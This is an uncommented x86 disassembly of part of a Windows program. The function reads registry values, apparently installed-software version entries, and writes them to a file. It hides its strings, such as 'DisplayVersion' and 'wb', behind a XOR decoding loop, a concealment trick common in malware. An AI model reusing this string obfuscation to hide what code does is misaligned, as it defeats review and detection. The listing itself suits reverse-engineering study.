mov byte [ebp - 0x27], 0
call fcn.00402b70
mov eax, dword [ebp - 0x40]
or eax, 0x4000
or eax, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xc0], eax
call fcn.00402c10
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x2070]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
push 0
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x412708
xorps xmm0, xmm0
mov dword [ebp - 0xe5], 0xc2c2d9eb
mov dword [ebp - 0xe1], 0xe0ccd5df
xor ecx, ecx
mov dword [ebp - 0xdd], 0xd3cacad2
mov word [ebp - 0xd9], 0xd2d4
movups xmmword [ebp - 0xd7], xmm0
mov dword [ebp - 0xc7], eax
mov word [ebp - 0xc3], ax
mov byte [ebp - 0xc1], al
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xe5], al
inc ecx
cmp ecx, 0xe
jb 0x4126a0
lea eax, [ebp - 0xe5]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0xd7], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x10008
lea ecx, [ebp - 0x1b0]
call fcn.00402c10
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x1c70]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
push 0
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov byte [ebp - 0x41], 1
test eax, eax
je 0x41270c
mov byte [ebp - 0x41], 0
mov eax, dword [ebp - 0x40]
test al, 8
je 0x412727
and eax, 0xfffffff7
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x40], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], 0x2e
test al, 4
je 0x412743
and eax, 0xfffffffb
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x40], eax
call fcn.00402ad0
cmp byte [ebp - 0x41], 0
je 0x4127dc
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0xe991c38a
mov dword [ebp - 0x2c], 0xbbe8c796
xor ecx, ecx
mov byte [ebp - 0x28], 0xbd
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 9
jb 0x412780
lea eax, [ebp - 0x30]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x8000
lea ecx, [ebp - 0x1b0]
call fcn.00402c10
lea ecx, [ebp - 0x1c70]
push ecx
lea ecx, [ebp - 0x2070]
push ecx
push eax
push esi
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x1b0]
call fcn.00402ad0
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x50]
inc edi
test eax, eax
je 0x4124d2
push dword [ebp - 0x128]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.0050e798
add esp, 4
lea ecx, [ebp - 0x164]
call fcn.0048eeb0
lea ecx, [ebp - 0x278]
call fcn.00402ad0
lea ecx, [ebp - 0x230]
call fcn.00402ad0
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 6
call fcn.00402ad0
sub esp, 0x18
mov byte [ebp - 0x41], 1
mov esi, esp
lea eax, [ebp - 0x2f4]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0048ccc0
mov ecx, esi
call fcn.0040d810
mov dl, byte [ebp - 0x41]
lea ecx, [ebp - 0x260]
add esp, 0x18
call fcn.0040f320
add esp, 0x18
mov byte [ebp - 4], 0x31
xorps xmm0, xmm0
mov word [ebp - 0x17d], 0xd2d8
xor ecx, ecx
movups xmmword [ebp - 0x17b], xmm0
mov dword [ebp - 0x16b], 0
mov word [ebp - 0x167], 0
mov byte [ebp - 0x165], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x17d], al
inc ecx
cmp ecx, 2
jb 0x4128a0
lea eax, [ebp - 0x17d]
mov dword [0x565598], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x17b], 0
call fcn.00402b70
lea ecx, [ebp - 0x158]
call fcn.00402c10
lea ecx, [ebp - 0x2f4]
mov esi, eax
call fcn.00402c10
push esi
push eax
call fcn.0050ad80
add esp, 8
lea ecx, [ebp - 0x158]
mov esi, eax
call fcn.00402ad0
test esi, esi
je 0x41292f
cmp dword [ebp - 0x24c], 0x10
lea ecx, [ebp - 0x260]
push esi
push dword [ebp - 0x250]
cmovae ecx, dword [ebp - 0x260]
push 1
push ecx
call fcn.00512b86
push esi
call fcn.0050e798
add esp, 0x14
lea ecx, [ebp - 0x260]
call fcn.00402ad0
lea ecx, [ebp - 0x2f4]
call fcn.00402ad0
lea ecx, [ebx + 8]
call fcn.00402ad0
lea ecx, [ebx + 0x20]
call fcn.00402ad0
lea ecx, [ebx + 0x38]
call fcn.00402ad0
lea ecx, [ebx + 0x50]
call fcn.00402ad0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret